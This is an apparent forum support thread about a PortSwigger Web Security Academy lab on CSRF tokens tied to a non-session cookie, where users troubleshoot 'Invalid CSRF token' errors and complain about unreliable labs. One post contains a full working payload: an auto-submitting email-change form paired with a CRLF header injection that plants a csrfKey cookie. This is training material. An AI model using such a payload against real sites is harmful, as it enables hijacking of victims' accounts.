Hi, Having just run through this particular lab I was able to solve it using the written solution provided so it is working as expected. Looking at your exploit, you need to use your CSRF token and your CSRF Key value in your exploit.

Its still saying: "Invalid CSRF token"

Hi, Just to clarify - your user is the 'wiener' user and you are delivering your exploit to the 'carlos' user.

I'm logged into the wiener account them i go to exploit server them craft exploit like mencioned before using the "carlos" token and cookie... them i click "view exploit" and i got message: "Invalid CSRF token" I tested these tokens direct into burp and its works

Bro, finally i finished but have anything wrong in the payload because i were reading the forum answers from other users and i tested other payload and it works " <html> <body> <form method="POST" action="https://0aa800ce0356ad7680266786004700ad.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="pwneda1321@evil-user.net" /> <input type="hidden" name="csrf" value="JigFVu1ixnm73M9ay1eMAvMK5Kh8faTB" /> <input type="submit" name="Submit request" /> </form> <img src="https://0aa800ce0356ad7680266786004700ad.web-security-academy.net/?search=hat%0d%0aSet-Cookie%3a%20csrfKey=bPT1E8Qu1AvEkai77WMRyplTDeo7vrW7%3b%20SameSite=None" onerror="document.forms[0].submit()"> </body> </html> " Thanks for help!

No, neither solution works. And I'm a little surprised that you're asking if Rmotta sent the exploit to Carlos. Carlos is just an account to help us identify the case where the token is bound to a non-session cookie. That's why we have the credentials of wiener and carlos to test it. This is not the first time that the labs have not worked. Support has suggested that there may be issues with the victim browser. In this lab I tried my solution, the solution given by portswigger and the youtube solution. None of them worked. I had solved this lab several times before. Like I said, many, many exercises on portswigger have not worked properly lately. In the beginning it was fine for me because the exercises are free. But now it's very frustrating because I want to prepare for the BURP certification. But in reality, it's not possible to train when it feels like every 4th lab is broken (very annoying, especially with the mystic labs) and I wonder if I made a mistake myself or got another broken lab. Of course I don't blame you Support for this and this is not meant to be taken as an attack. I know you are doing your best, but perhaps you can pass on the frustration of the customers to your management. Best regards, whitetea

Hi, I was trying to make sure that the correct csrf and csrfKey values were being used in the exploit that was delivered. We are still experiencing some intermittent issues with the labs - these have proved difficult to diagnose because of the transient nature of them. The team are, however, once again, looking into this. Having said the above, I have just run through this lab, as of right now, and been able to solve it using the solution provided.

Well just eyeballing the first attempt, it looks like you mixed the csrf token and csrf key across accounts, so since they are not tied together it will not work.
